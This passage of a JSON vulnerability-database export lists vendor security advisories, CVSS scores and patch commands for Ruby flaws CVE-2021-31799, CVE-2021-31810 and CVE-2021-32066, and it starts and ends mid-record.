"HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.4, "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.2}, "published": "2021-09-07T00:00:00", "type": "cloudfoundry", "title": "USN-5020-1: Ruby vulnerabilities | Cloud Foundry", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31799", "CVE-2021-31810", "CVE-2021-32066"], "modified": "2021-09-07T00:00:00", "id": "CFOUNDRY:CA1E516EDCCC9374FF11C6A16654C453", "href": "https://www.cloudfoundry.org/blog/usn-5020-1-ruby-vulnerabilities/", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}], "oraclelinux": [{"lastseen": "2022-03-09T03:28:53", "description": "ruby\n[2.5.9-109]\n- Properly fix command injection vulnerability in Rdoc.\n Related: CVE-2021-31799\n[2.5.9-108]\n- Fix command injection vulnerability in RDoc.\n Resolves: CVE-2021-31799\n- Fix StartTLS stripping vulnerability in Net::IMAP\n Resolves: CVE-2021-32066\n- Fix FTP PASV command response can cause Net::FTP to connect to arbitrary host.\n Resolves: CVE-2021-31810", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "HIGH", "baseScore": 7.4, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.2}, "published": "2022-02-28T00:00:00", "type": "oraclelinux", "title": "ruby:2.5 security update", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 4.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31799", "CVE-2021-31810", "CVE-2021-32066"], "modified": "2022-02-28T00:00:00", "id": "ELSA-2022-0672", "href": "http://linux.oracle.com/errata/ELSA-2022-0672.html", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2022-03-08T23:30:32", "description": "ruby\n[2.5.9-109.0.1]\n- Rebuild with a dependency containing fix for Orabug: 33921593\n[2.5.9-109]\n- Properly fix command injection vulnerability in Rdoc.\nRelated: CVE-2021-31799\n[2.5.9-108]\n- Fix command injection vulnerability in RDoc.\nResolves: CVE-2021-31799\n- Fix StartTLS stripping vulnerability in Net::IMAP\nResolves: CVE-2021-32066\n- Fix FTP PASV command response can cause Net::FTP to connect to arbitrary host.\nResolves: CVE-2021-31810", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "HIGH", "baseScore": 7.4, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.2}, "published": "2022-03-08T00:00:00", "type": "oraclelinux", "title": "ruby:2.5 security update", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 4.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31799", "CVE-2021-31810", "CVE-2021-32066"], "modified": "2022-03-08T00:00:00", "id": "ELSA-2022-0672-1", "href": "http://linux.oracle.com/errata/ELSA-2022-0672-1.html", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2021-08-06T16:27:09", "description": "ruby\n[2.7.4-137]\n- Upgrade to Ruby 2.7.4.\n- Fix command injection vulnerability in RDoc.\n Resolves: rhbz#1986768\n- Fix FTP PASV command response can cause Net::FTP to connect to arbitrary host.\n Resolves: rhbz#1986812\n- Fix StartTLS stripping vulnerability in Net::IMAP.\n Resolves: rhbz#1986813\n- Upgrade to Bundler 2.2.24.\n Resolves: CVE-2020-36327", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-06T00:00:00", "type": "oraclelinux", "title": "ruby:2.7 security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-36327", "CVE-2021-31799", "CVE-2021-31810", "CVE-2021-32066"], "modified": "2021-08-06T00:00:00", "id": "ELSA-2021-3020", "href": "http://linux.oracle.com/errata/ELSA-2021-3020.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-16T23:29:49", "description": "ruby\n[2.6.9-108]\n- Upgrade to Ruby 2.6.9.\n- Skip JIT tests in RHEL 8.\n- Fix the issues required to start the 'make test-bundler' itself.\n- Fix Bundler dependency confusion.\n Resolves: CVE-2020-36327", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2022-02-16T00:00:00", "type": "oraclelinux", "title": "ruby:2.6 security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-36327", "CVE-2021-31799", "CVE-2021-31810", "CVE-2021-32066", "CVE-2021-41817", "CVE-2021-41819"], "modified": "2022-02-16T00:00:00", "id": "ELSA-2022-0543", "href": "http://linux.oracle.com/errata/ELSA-2022-0543.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "suse": [{"lastseen": "2022-11-08T06:10:06", "description": "An update that fixes three vulnerabilities is now available.\n\nDescription:\n\n This update for ruby2.5 fixes the following issues:\n\n - CVE-2021-31799: Fixed Command injection vulnerability in RDoc\n (bsc#1190375).\n - CVE-2021-31810: Fixed trusting FTP PASV responses vulnerability in\n Net:FTP (bsc#1188161).\n - CVE-2021-32066: Fixed StartTLS stripping vulnerability in Net:IMAP\n (bsc#1188160).\n\n\nPatch Instructions:\n\n To install this openSUSE Security Update use the SUSE recommended installation methods\n like YaST online_update or \"zypper patch\".\n\n Alternatively you can run the command listed for your product:\n\n - openSUSE Leap 15.3:\n\n zypper in -t patch openSUSE-SLE-15.3-2021-3838=1", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.4, "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.2}, "published": "2021-12-01T00:00:00", "type": "suse", "title": "Security update for ruby2.5 (important)", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31799", "CVE-2021-31810", "CVE-2021-32066"], "modified": "2021-12-01T00:00:00", "id": "OPENSUSE-SU-2021:3838-1", "href": "https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/3CHM25JITRX6N3UKVDBKNLWS6MYWFY3M/", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2022-11-08T06:10:06", "description": "An update that fixes three vulnerabilities is now available.\n\nDescription:\n\n This update for ruby2.5 fixes the following issues:\n\n - CVE-2021-31799: Fixed Command injection vulnerability in RDoc\n (bsc#1190375).\n - CVE-2021-31810: Fixed trusting FTP PASV responses vulnerability in\n Net:FTP (bsc#1188161).\n - CVE-2021-32066: Fixed StartTLS stripping vulnerability in Net:IMAP\n (bsc#1188160).\n\n This update was imported from the SUSE:SLE-15:Update update project.\n\n\nPatch Instructions:\n\n To install this openSUSE Security Update use the SUSE recommended installation methods\n like YaST online_update or \"zypper patch\".\n\n Alternatively you can run the command listed for your product:\n\n - openSUSE Leap 15.2:\n\n zypper in -t patch openSUSE-2021-1535=1", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.4, "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.2}, "published": "2021-12-06T00:00:00", "type": "suse", "title": "Security update for ruby2.5 (important)", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31799", "CVE-2021-31810", "CVE-2021-32066"], "modified": "2021-12-06T00:00:00", "id": "OPENSUSE-SU-2021:1535-1", "href": "https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/SFO6LZPCK3BJ6OA3FTD3UWQI47BKDQBA/", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2022-11-06T19:34:05", "description": "An update that fixes 5 vulnerabilities is now available.\n\nDescription:\n\n This update for ruby2.5 fixes the following issues:\n\n - CVE-2022-28739: Fixed a buffer overrun in String-to-Float conversion\n (bsc#1198441).\n - CVE-2021-41817: Fixed a regular expression denial of service in Date\n Parsing Methods (bsc#1193035).\n - CVE-2021-32066: Fixed a StartTLS stripping vulnerability in Net:IMAP\n (bsc#1188160).\n - CVE-2021-31810: Fixed a trusting FTP PASV responses vulnerability in\n Net:FTP (bsc#1188161).\n - CVE-2021-31799: Fixed a command injection vulnerability in RDoc\n (bsc#1190375).\n\n\nPatch Instructions:\n\n To install this SUSE Security Update use the SUSE recommended installation methods\n like YaST online_update or \"zypper patch\".\n\n Alternatively you can run the command listed for your product:\n\n - openSUSE Leap 15.4:\n\n zypper in -t patch openSUSE-SLE-15.4-2022-1512=1\n\n - openSUSE Leap 15.3:\n\n zypper in -t patch openSUSE-SLE-15.3-2022-1512=1\n\n - SUSE Manager Server 4.1:\n\n zypper in -t patch SUSE-SLE-Product-SUSE-Manager-Server-4.1-2022-1512=1\n\n - SUSE Manager Retail Branch Server 4.1:\n\n zypper in -t patch SUSE-SLE-Product-SUSE-Manager-Retail-Branch-Server-4.1-2022-1512=1\n\n - SUSE Manager Proxy 4.1:\n\n zypper in -t patch SUSE-SLE-Product-SUSE-Manager-Proxy-4.1-2022-1512=1\n\n - SUSE Linux Enterprise Server for SAP 15-SP2:\n\n zypper in -t patch SUSE-SLE-Product-SLES_SAP-15-SP2-2022-1512=1\n\n - SUSE Linux Enterprise Server for SAP 15-SP1:\n\n zypper in -t patch SUSE-SLE-Product-SLES_SAP-15-SP1-2022-1512=1\n\n - SUSE Linux Enterprise Server for SAP 15:\n\n zypper in -t patch SUSE-SLE-Product-SLES_SAP-15-2022-1512=1\n\n - SUSE Linux Enterprise Server 15-SP2-LTSS:\n\n zypper in -t patch SUSE-SLE-Product-SLES-15-SP2-LTSS-2022-1512=1\n\n - SUSE Linux Enterprise Server 15-SP2-BCL:\n\n zypper in -t patch SUSE-SLE-Product-SLES-15-SP2-BCL-2022-1512=1\n\n - SUSE Linux Enterprise Server 15-SP1-LTSS:\n\n zypper in -t patch SUSE-SLE-Product-SLES-15-SP1-LTSS-2022-1512=1\n\n - SUSE Linux Enterprise Server 15-SP1-BCL:\n\n zypper in -t patch SUSE-SLE-Product-SLES-15-SP1-BCL-2022-1512=1\n\n - SUSE Linux Enterprise Server 15-LTSS:\n\n zypper in -t patch SUSE-SLE-Product-SLES-15-2022-1512=1\n\n - SUSE Linux Enterprise Realtime Extension 15-SP2:\n\n zypper in -t patch SUSE-SLE-Product-RT-15-SP2-2022-1512=1\n\n - SUSE Linux Enterprise Module for Basesystem 15-SP4:\n\n zypper in -t patch SUSE-SLE-Module-Basesystem-15-SP4-2022-1512=1\n\n - SUSE Linux Enterprise Module for Basesystem 15-SP3:\n\n zypper in -t patch SUSE-SLE-Module-Basesystem-15-SP3-2022-1512=1\n\n - SUSE Linux Enterprise Micro 5.0:\n\n zypper in -t patch SUSE-SUSE-MicroOS-5.0-2022-1512=1\n\n - SUSE Linux Enterprise High Performance Computing 15-SP2-LTSS:\n\n zypper in -t patch SUSE-SLE-Product-HPC-15-SP2-LTSS-2022-1512=1\n\n - SUSE Linux Enterprise High Performance Computing 15-SP2-ESPOS:\n\n zypper in -t patch SUSE-SLE-Product-HPC-15-SP2-ESPOS-2022-1512=1\n\n - SUSE Linux Enterprise High Performance Computing 15-SP1-LTSS:\n\n zypper in -t patch SUSE-SLE-Product-HPC-15-SP1-LTSS-2022-1512=1\n\n - SUSE Linux Enterprise High Performance Computing 15-SP1-ESPOS:\n\n zypper in -t patch SUSE-SLE-Product-HPC-15-SP1-ESPOS-2022-1512=1\n\n - SUSE Linux Enterprise High Performance Computing 15-LTSS:\n\n zypper in -t patch SUSE-SLE-Product-HPC-15-2022-1512=1\n\n - SUSE Linux Enterprise High Performance Computing 15-ESPOS:\n\n zypper in -t patch SUSE-SLE-Product-HPC-15-2022-1512=1\n\n - SUSE Enterprise Storage 7:\n\n zypper in -t patch SUSE-Storage-7-2022-1512=1\n\n - SUSE Enterprise Storage 6:\n\n zypper in -t patch SUSE-Storage-6-2022-1512=1\n\n - SUSE CaaS Platform 4.0:\n\n To install this update, use the SUSE CaaS Platform 'skuba' tool. It\n will inform you if it detects new updates and let you then trigger\n updating of the complete cluster in a controlled way.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2022-05-03T00:00:00", "type": "suse", "title": "Security update for ruby2.5 (important)", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31799", "CVE-2021-31810", "CVE-2021-32066", "CVE-2021-41817", "CVE-2022-28739"], "modified": "2022-05-03T00:00:00", "id": "SUSE-SU-2022:1512-1", "href": "https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/ZUZSBBYZKYVD4HONZ32ZACQYHB5SER7R/", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}], "rocky": [{"lastseen": "2023-07-24T17:24:53", "description": "An update is available for rubygem-bson, rubygem-mysql2, rubygem-bundler, ruby, rubygem-mongo, rubygem-pg, rubygem-abrt.\nThis update affects Rocky Linux 8.\nA Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE list\nRuby is an extensible, interpreted, object-oriented, scripting language. It has features to process text files and to perform system management tasks.\n\nSecurity Fix(es):\n\n* rubygem-rdoc: Command injection vulnerability in RDoc (CVE-2021-31799)\n\n* ruby: FTP PASV command response can cause Net::FTP to connect to arbitrary host (CVE-2021-31810)\n\n* ruby: StartTLS stripping vulnerability in Net::IMAP (CVE-2021-32066)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.4, "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.2}, "published": "2022-02-24T15:11:44", "type": "rocky", "title": "ruby:2.5 security update", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31799", "CVE-2021-31810", "CVE-2021-32066"], "modified": "2022-02-24T15:11:44", "id": "RLSA-2022:0672", "href": "https://errata.rockylinux.org/RLSA-2022:0672", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2023-07-24T17:27:08", "description": "An update is available for rubygem-bson, rubygem-mysql2, ruby, rubygem-mongo, rubygem-pg, rubygem-abrt.\nThis update affects Rocky Linux 8.\nA Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE list\nRuby is an extensible, interpreted, object-oriented, scripting language. It has features to process text files and to perform system management tasks.\n\nSecurity Fix(es):\n\n* rubygem-bundler: Dependencies of gems with explicit source may be installed from a different source (CVE-2020-36327)\n\n* rubygem-rdoc: Command injection vulnerability in RDoc (CVE-2021-31799)\n\n* ruby: FTP PASV command response can cause Net::FTP to connect to arbitrary host (CVE-2021-31810)\n\n* ruby: StartTLS stripping vulnerability in Net::IMAP (CVE-2021-32066)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-08-05T14:06:16", "type": "rocky", "title": "ruby:2.7 security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-36327", "CVE-2021-31799", "CVE-2021-31810", "CVE-2021-32066"], "modified": "2021-08-05T14:06:16", "id": "RLSA-2021:3020", "href": "https://errata.rockylinux.org/RLSA-2021:3020", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-07-24T17:24:53", "description": "An update is available for rubygem-bson, rubygem-mysql2, ruby, rubygem-mongo, rubygem-pg, rubygem-abrt.\nThis update affects Rocky Linux 8.\nA Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE list\nRuby is an extensible, interpreted, object-oriented, scripting language. It has features to process text files and to perform system management tasks.\n\nSecurity Fix(es):\n\n* rubygem-bundler: Dependencies of gems with explicit source may be installed from a different source (CVE-2020-36327)\n\n* rubygem-rdoc: Command injection vulnerability in RDoc (CVE-2021-31799)\n\n* ruby: FTP PASV command response can cause Net::FTP to connect to arbitrary host (CVE-2021-31810)\n\n* ruby: StartTLS stripping vulnerability in Net::IMAP (CVE-2021-32066)\n\n* ruby: Regular expression denial of service vulnerability of Date parsing methods (CVE-2021-41817)\n\n* ruby: Cookie prefix spoofing in CGI::Cookie.parse (CVE-2021-41819)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-02-16T08:26:13", "type": "rocky", "title": "ruby:2.6 security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-36327", "CVE-2021-31799", "CVE-2021-31810", "CVE-2021-32066", "CVE-2021-41817", "CVE-2021-41819"], "modified": "2022-02-16T08:26:13", "id": "RLSA-2022:0543", "href": "https://errata.rockylinux.org/RLSA-2022:0543", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "debian": [{"lastseen": "2023-01-05T22:00:24", "description": "- ----------------------------------------------------------------------\nDebian LTS Advisory DLA-2780-1 debian-lts@lists.debian.org\nhttps://www.debian.org/lts/security/ Utkarsh Gupta\nOctober 11, 2021 https://wiki.debian.org/LTS\n- ----------------------------------------------------------------------\n\nPackage : ruby2.3\nVersion : 2.3.3-1+deb9u10\nCVE ID : CVE-2021-31799 CVE-2021-31810 CVE-2021-32066\nDebian Bug : 990815\n\nMultiple vulnerabilites in ruby2.3, interpreter of object-oriented\nscripting language Ruby, were discovered.\n\nCVE-2021-31799\n\n In RDoc 3.11 through 6.x before 6.3.1, as distributed with\n Ruby through 2.3.3, it is possible to execute arbitrary\n code via | and tags in a filename.\n\nCVE-2021-31810\n\n An issue was discovered in Ruby through 2.3.3. A malicious\n FTP server can use the PASV response to trick Net::FTP into\n connecting back to a given IP address and port. This\n potentially makes curl extract information about services\n that are otherwise private and not disclosed (e.g., the\n attacker can conduct port scans and service banner extractions).\n\nCVE-2021-32066\n\n An issue was discovered in Ruby through 2.3.3. Net::IMAP does\n not raise an exception when StartTLS fails with an an unknown\n response, which might allow man-in-the-middle attackers to\n bypass the TLS protections by leveraging a network position\n between the client and the registry to block the StartTLS\n command, aka a "StartTLS stripping attack."\n\nFor Debian 9 stretch, these problems have been fixed in version\n2.3.3-1+deb9u10.\n\nWe recommend that you upgrade your ruby2.3 packages.\n\nFor the detailed security status of ruby2.3 please refer to\nits security tracker page at:\nhttps://security-tracker.debian.org/tracker/ruby2.3\n\nFurther information about Debian LTS security advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://wiki.debian.org/LTS", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.4, "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.2}, "published": "2021-10-13T14:12:23", "type": "debian", "title": "[SECURITY] [DLA 2780-1] ruby2.3 security update", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31799", "CVE-2021-31810", "CVE-2021-32066"], "modified": "2021-10-13T14:12:23", "id": "DEBIAN:DLA-2780-1:A0FD9", "href": "https://lists.debian.org/debian-lts-announce/2021/10/msg00009.html", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2023-05-28T14:25:15", "description": "- -------------------------------------------------------------------------\nDebian Security Advisory DSA-5066-1 security@debian.org\nhttps://www.debian.org/security/ Moritz Muehlenhoff\nFebruary 03, 2022 https://www.debian.org/security/faq\n- -------------------------------------------------------------------------\n\nPackage : ruby2.5\nCVE ID : CVE-2021-28965 CVE-2021-31799 CVE-2021-31810 